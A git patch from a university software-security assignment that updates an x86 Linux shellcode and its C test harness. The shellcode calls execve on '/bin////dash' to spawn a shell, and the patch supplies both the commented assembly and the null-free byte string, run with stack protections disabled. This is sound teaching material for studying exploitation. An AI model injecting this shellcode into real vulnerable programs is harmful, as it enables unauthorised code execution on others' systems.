From 63d0a88ba8b1a43abf263bc8b473e05c7f767b81 Mon Sep 17 00:00:00 2001 From: Sascha Tommasone Date: Sun, 9 Jun 2024 19:37:58 +0200 Subject: [PATCH] [Assignment-5] updated solution task 3 (shellcode) --- .../shellcode/shellcode.asm | 8 +++++--- .../shellcode/test_shellcode.c | 4 ++-- 2 files changed, 7 insertions(+), 5 deletions(-) diff --git a/Assignment 5 - Software Security - Teil 1/shellcode/shellcode.asm b/Assignment 5 - Software Security - Teil 1/shellcode/shellcode.asm index 273cc01..8b9a9ae 100644 --- a/Assignment 5 - Software Security - Teil 1/shellcode/shellcode.asm +++ b/Assignment 5 - Software Security - Teil 1/shellcode/shellcode.asm @@ -7,8 +7,8 @@ section .text ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; https://rayoflightz.github.io/shellcoding/linux/x86/2018/11/15/Shellcoding-for-linux-on-x86.html ; ; https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md#x86-32_bit ; -; https://man7.org/linux/man-pages/man2/execve.2.html ; -; https://www.ascii-code.com/ ; +; https://man7.org/linux/man-pages/man2/execve.2.html ; +; https://www.ascii-code.com/ ; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; _start: xor eax, eax ; set eax to NULL without terminating the shellcode later @@ -16,9 +16,11 @@ _start: push 0x68736164 ; push the ASCII values for 'dash' onto the stack in reverse order (due to little endian) push 0x2f2f2f2f ; push the ASCII values for '////' onto the stack in reverse order " push 0x6e69622f ; push the ASCII values for '/bin' onto the stack in reverse order " + ; only multiples of wordsize (here 4 byte) can be pushed onto stack + ; therefore four / in the second push mov ebx, esp ; set ebx to the address of the '/bin////dash' string (top of the stack) mov ecx, eax ; set ecx to NULL (=> char *const _Nullable argv[] is NULL) mov edx, eax ; set edx to NULL (=> char *const _Nullable envp[] is NULL) mov al, 0xb ; load the syscall number for execve (11) into lowest 8 bits of eax to prevent null bytes in shellcode int 0x80 ; trigger the kernel interrupt to execute the syscall -;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; \ No newline at end of file diff --git a/Assignment 5 - Software Security - Teil 1/shellcode/test_shellcode.c b/Assignment 5 - Software Security - Teil 1/shellcode/test_shellcode.c index 193077c..2d1dae6 100644 --- a/Assignment 5 - Software Security - Teil 1/shellcode/test_shellcode.c +++ b/Assignment 5 - Software Security - Teil 1/shellcode/test_shellcode.c @@ -4,7 +4,7 @@ // gcc -o test_shellcode -m32 -fno-stack-protector -fno-pie -z execstack -O0 test_shellcode.c // Your shellcode goes here -char *shellcode = "\x90\x90\x90..."; +char *shellcode = "\x31\xc0\x50\x68\x64\x61\x73\x68\x68\x2f\x2f\x2f\x2f\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80"; // ------------------------ int main() @@ -13,4 +13,4 @@ int main() fprintf(stdout,"Length: %d\n",strlen(shellcode)); // Execute shellcode (*(void (*)()) shellcode)(); -} +} \ No newline at end of file